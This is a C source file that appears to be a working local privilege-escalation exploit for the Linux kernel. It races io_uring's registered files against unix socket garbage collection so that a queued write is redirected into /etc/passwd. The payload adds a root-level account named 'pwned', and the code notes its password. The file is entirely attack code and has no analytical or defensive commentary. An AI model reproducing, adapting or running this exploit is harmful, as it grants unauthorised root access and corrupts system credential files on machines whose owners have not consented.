#define _GNU_SOURCE

#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <liburing.h>
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <err.h>
#include <sched.h>

#define GREEN(x) printf("\033[0;32m"); printf(x); printf("\033[0m");
#define RESET printf("\033[0m")

#define SPIN ({ GREEN("[/]"); \
	        GREEN("\b\b-]"); \
	        GREEN("\b\b\\]"); \
		GREEN("\b\b|]"); \
                GREEN("\b\b-]"); \
		GREEN("\b\b|]"); \
		GREEN("\b\b\b");\
});

int *start_write;

void pin_cpu(int num){
	cpu_set_t  mask;
  	CPU_ZERO(&mask);
  	CPU_SET(num, &mask);
  	int result = sched_setaffinity(0, sizeof(mask), &mask);
}


void *slow_write() {

  	printf("[+] Start slow write to get the lock\n");
  	int fd = open("/tmp/rwA", 1);

  	if (fd < 0) {
    		perror("[!] error open file");
    		exit(-1);
	}

  	unsigned long int addr = 0x30000000;
  	int offset;
  	for(offset = 0; offset < 0x80000 / 20; offset++) {
    		void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    		if (r < 0) {
      			printf("[!] allocate failed at 0x%x\n", offset);
    		}
	}

  	assert(offset > 0);
	void *mem = (void *)(addr);
  	memcpy(mem, "hhhhh", 5);

  	struct iovec iov[20];

  	for (int i = 0; i < 20; i++) {
    		iov[i].iov_base = mem;
    		iov[i].iov_len = (offset - 1) * 0x1000;
  	}

	*start_write = 1;

  	if (writev(fd, iov, 20) < 0) {
    		perror("[!] slow write");
  	}

  	RESET;
  	printf("\n[+] write done!\n");
  	*start_write = -1;
  	exit(0);
}



struct iovec iov[12];

int sendfd(int s, int fd){

	struct msghdr msg;
	char buf[4096];
	struct cmsghdr *cmsg;
	int fds[1] = { fd };
	memset(&msg, 0, sizeof(msg));
	memset(buf, 0, sizeof(buf));
	msg.msg_control = buf;
	msg.msg_controllen = sizeof(buf);
	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	cmsg->cmsg_len = CMSG_LEN(sizeof(fds));
	memcpy(CMSG_DATA(cmsg), fds, sizeof(fds));
	msg.msg_controllen = CMSG_SPACE(sizeof(fds));
	sendmsg(s, &msg, 0);
}



int io_uring_setup(int r, void *p){
	return syscall(__NR_io_uring_setup, r, p);
}



int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig){
	return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, sig);
}



int io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args){
	return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}



int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring){

	struct io_uring_sqe *sqe;
	io_uring_queue_mmap(fd, params, ring);
	sqe = io_uring_get_sqe(ring);
	sqe->opcode = IORING_OP_WRITEV;
	sqe->fd = 1;
	sqe->addr = (long) iov;
	sqe->len = 1;
	sqe->flags = IOSQE_FIXED_FILE;
}


int main(int argc, char **argv){

	pthread_t t;
	struct io_uring ring;
	int fd;
	struct io_uring_params *params;
	int rfd[3];
	int s[2];
	int target_fd;
	start_write = (int *)mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	assert(start_write != (int *)-1);

	*start_write = 0;

	// Password for new root user --> "lol"

	iov[0].iov_base = "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n";
	iov[0].iov_len = 59;
	iov[1].iov_base = "hello, world!\n";
	iov[1].iov_len = 14;
	iov[2].iov_base = "hello, world!\n";
	iov[2].iov_len = 14;
	iov[10].iov_base = "hello, world!\n";
	iov[10].iov_len = 14;
	iov[11].iov_base = "hello, world!\n";
	iov[11].iov_len = 14;

	socketpair(AF_UNIX, SOCK_DGRAM, 0, s);

	params = malloc(sizeof(*params));
	memset(params, 0, sizeof(*params));
	params->flags = IORING_SETUP_SQPOLL;

	fd = io_uring_setup(32, params);
	rfd[0] = s[1];
	rfd[1] = open("/tmp/rwA", O_RDWR | O_CREAT | O_APPEND, 0644);

	io_uring_register(fd, IORING_REGISTER_FILES, rfd, 2);
	close(rfd[1]);

	sendfd(s[0], fd);
	close(s[0]);
	close(s[1]);
	printf("[+] Creating thread\n");
	pthread_create(&t, NULL, slow_write, NULL);
	sleep(1);
	prepare_request(fd, params, &ring);
	printf("[+] Waiting for the other thread to get lock on file\n");
	while(*start_write == 0){
		SPIN
	}

	printf("[+] Thread 1 got inode lock!\n");
	printf("[+] Submitting io_uring request\n");

	io_uring_submit(&ring);

	sleep(2);

	printf("[+] Closing io_uring\n");

	io_uring_queue_exit(&ring);

  	if(!fork()){
		printf("[+] Triggering unix_gc...\n");
    		close(socket(AF_UNIX, SOCK_DGRAM, 0));
    		printf("unix_gc done!\n");
		exit(0);
	}

  	sleep(2);
  	printf("[+] Opening /etc/passwd in RDONLY...\n");

  	int tfd = open("/etc/passwd", O_RDONLY | O_DIRECT);
	for(int i =0; i < 600; i++){
    		open("/etc/passwd", O_RDONLY);
  	}

	printf("[+] Waiting for slow_write end...\n");
	while(*start_write == 1){
		SPIN
	}
	printf("\n");
	sleep(5);
	printf("[+] Closing fd\n");
	close(fd);
  	printf("[+] Sleeping before exit ..\n");
	sleep(20);
	return 0;
}